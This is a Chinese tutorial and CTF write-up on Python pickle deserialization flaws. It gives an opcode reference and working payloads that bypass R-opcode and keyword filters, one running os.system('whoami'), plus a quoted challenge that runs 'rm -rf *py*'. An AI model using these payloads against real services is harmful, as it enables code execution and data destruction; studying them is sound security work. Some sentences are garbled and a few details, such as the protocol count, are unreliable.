Pickle反序列化漏洞小结

Pickle 反序列化漏洞小结

Pickle是一种栈语言，有不同的编写方式，基于一个轻量的PVM(Pickle Virtual Machine)进行工作.

序列化与反序列化

pickle模块在序列化和反序列化时使用__reduce__方法来进行反序列化，在定义模块时取消定义即可.

  1. pickle.dump()
  2. pickle.load()
  3. pickle.dumps()
  4. pickle.loads()

其中dump方法用于把Python对象转换为可传输的二进制文件或字符串(dumps);load方法用于从文件或字符串(loads)中加载序列化的二进制Python对象.

漏洞的成因

Pickle在反序列化时会自动调用对象的__reduce__方法从而导致远程代码执行及其他代码，常见利用有反弹shell,变量覆盖等.

Pickle协议版本

当前用于 pickling 的协议共有 5 种。使用的协议版本越高，读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议，并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式，它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进，请参阅 PEP 307。
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持，且无法被 Python 2.x 打开。这是目前默认使用的协议，也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象，能存储更多种类的对象，还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息，请参阅 PEP 3154。

PVM的工作原理

pickle 实际上可以看作一种独立的语言，通过对 opcode 的编写可以进行 Python 代码执行、覆盖变量等操作。直接编写的 opcode 灵活性比使用 pickle 序列化生成的代码更高，并且有的代码不能通过 pickle 序列化得到（pickle 解析能力大于 pickle 生成能力）。

PVM 由以下三部分组成

  • 指令处理器：从流中读取 opcode 和参数，并对其进行解释处理。重复这个动作，直到遇到。这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack：由 Python 的 list 实现，被用来临时存储数据、参数以及对象。
  • memo：由 Python 的 dict 实现，为 PVM 的整个生命周期提供存储。

常见opcode一览表

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象） o 这个过程中涉及到的数据都出栈，函数的返回值（或生成的对象）入栈
i 相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象） i[module]\n[callable]\n 这个过程中涉及到的数据都出栈，函数返回值（或生成的对象）入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n（也可以使用双引号、'等python字符串形式） 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数 R 函数和参数出栈，函数的返回值入栈
. 程序结束，栈顶的一个元素作为pickle.loads()的返回值 . 无
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK，并组合之间的数据为元组 t MARK标记以及被组合的数据出栈，获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK，并组合之间的数据为列表 l MARK标记以及被组合的数据出栈，获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK，并组合之间的数据为字典（数据必须有偶数个，即呈key-value对） d MARK标记以及被组合的数据出栈，获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 无
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素（储存多个属性名: 属性值的字典）对第二个元素（对象实例）进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对，添加或更新到栈的第三个对象（必须为列表或字典，列表以数字作为key）中 s 第一、二个元素出栈，第三个元素（列表或字典）添加新值或被更新
u 寻找栈中的上一个MARK，组合之间的数据（数据必须有偶数个，即呈key-value对）并全部添加或更新到该MARK之前的一个元素（必须为字典）中 u MARK标记以及被组合的数据出栈，字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈，第二个元素（列表）被更新
e 寻找栈中的上一个MARK，组合之间的数据并extends到该MARK之前的一个元素（必须为列表）中 e MARK标记以及被组合的数据出栈，列表被更新

常见WAF绕过

绕过Unpickler.find_class()

类沙箱逃逸，尝试从其他类访问属性获取到对应类从而进行命令执行等操作，详见SSTI专题

绕过指令过滤

绕过R指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import stao
 
 
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category
 
 
    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
    if b'R' in data:
        return 'no reduce!'
    x=pickle.loads(data)
    if(x!= Animal(stao.name,stao.age)):
        print('not equal')
        return
    print('well done! {} {}'.format(stao.name,stao.age))

可以看到代码中过滤了R指令，字节码里不能存在R.实际上，如果没有R指令，我们同样能够进行函数执行。有下面这样一个例子:

1
2
3
4
5
6
7
8
9
opcode=b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__"    #向栈中压入一个空字典，然后再通过u修改为{"__setstate__":os.system}
cos
system
ubS"whoami"
b.'''

这段字节码向栈中压入了一个字典{"__setstate__":os.system},并执行b字节码，，由于此时并没有__setstate__，所以这里b字节码相当于执行了__dict__.update，向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command，再次执行b字节码时，由于已经有了__setstate__，所以会将栈中字节码b的前一个元素当作state，执行__setstate__(state)，也就是os.system(command)。

绕过关键字过滤

[2022强网杯 crash]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)
 
 
@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

原始opcode

1
2
3
4
5
6
7
8
9
b'''capp
admin
(S'secret'
I1
db0(capp
User
S"admin"
I1
o.'''

使用V指令绕过

1
2
3
4
5
6
7
8
9
b'''capp
admin
(Vsecr\u0065t           //'\u0065'='e'
I1
db0(capp
User
S"admin"
I1
o.'''

16进制编码绕过

1
2
3
4
5
6
7
8
9
b'''capp
admin
(S'\x73ecret'
I1
db0(capp
User
S"admin"
I1
o.'''

对于已导入的模块，我们可以通过sys.modules['xxx']来获取该模块，然后通过内置函数dir()来列出模块中的所有属性

1
2
3
print(dir(sys.modules['admin']))
 
#['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret']

最终opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
opcode = b'''c__main__
admin
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I1
db(S'admin'
I1
i__main__
User
.'''